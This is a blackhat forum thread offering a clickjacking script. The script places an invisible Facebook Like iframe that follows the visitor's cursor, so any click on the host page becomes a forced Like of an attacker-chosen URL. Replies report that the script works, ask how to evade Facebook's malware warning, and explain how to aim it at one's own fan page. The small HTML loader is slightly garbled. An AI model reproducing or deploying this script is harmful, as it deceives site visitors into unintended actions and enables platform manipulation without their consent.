Best Blackhat Forum

Full Version: [GET] Basic Forced Like / Clickjacking script [Public Edition]
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Pages: 1 2
Script below creates a iframe like box that follows your cursor. The iframe is invisible and requires the user to click somewhere.

Paste these codes into 2 separate files (one html, one js)

index.html

PHP Code:
<script language="javascript">  window.onload = function(){ var document.createElement('script'); s.src 'jscript.js'document.getElementsByTagName('body')[0].appendChild(s); }   </script> <bodyClick anywhere </body

jscript.js
Code:
(function(){

  var Xcord = 0,
  Ycord = 0,
  IE = document.all ? true : false;
  
  if (!IE) document.captureEvents(Event.MOUSEMOVE);
  
  var lbox = document.createElement('iframe');
  lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://porn.com/') + '&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=lbox&amp;colorscheme=light&amp;height=80';
  lbox.scrolling = 'no';
  lbox.frameBorder = 0;
  lbox.allowTransparency = 'true';
  lbox.style.border = 0;
  lbox.style.overflow = 'hidden';
  lbox.style.cursor = 'pointer';
  lbox.style.width = '53px';
  lbox.style.height =  '23px';
  lbox.style.position = 'absolute';
  lbox.style.opacity = 0;
  document.getElementsByTagName('body')[0].appendChild(lbox);
  
  window.addEventListener('mousemove', mouseMove, false);
  
  setTimeout(function(){
    document.getElementsByTagName('body')[0].removeChild(lbox);
    window.removeEventListener('mousemove', mouseMove, false);
  }, 10000);
  
  function mouseMove(e) {
    if (IE) {
      Xcord = event.clientX + document.body.scrollLeft;
      Ycord = event.clientY + document.body.scrollTop;
    } else {
      Xcord = e.pageX;
      Ycord = e.pageY;
    }
    
    if (Xcord < 0) Xcord = 0;
    if (Ycord < 0) Ycord = 0;
    
    lbox.style.top = (Ycord - 8) + 'px';
    lbox.style.left = (Xcord - 25) + 'px';
    
    return true
  }
})();
thanks bro! will try this..
Its Working.. But When we share it on our wall.. and click link.. facebook malware popup :@
Is There Any way to Hide Malware?
what a script!!
d*** this is nice stuff works beautiful!!! THXX
Anyone find out if there was a way to hide the malwarE?
I would like to try this out only if somehow could get rid of the malware. Thanks anyway Wink
Please explain where do we upload these two files to.

I see http://porn.com in the javascript.
(08-05-2011 08:48 PM)bigspanner Wrote: [ -> ]Please explain where do we upload these two files to.

I see in the javascript.

The porn dot com should be replaced with your facebook fan page url. Better way should be to upload it to your website and let the user click. if facebook is opened it is give you a like.

That is what i feel.
It's still working ???
Pages: 1 2
Reference URL's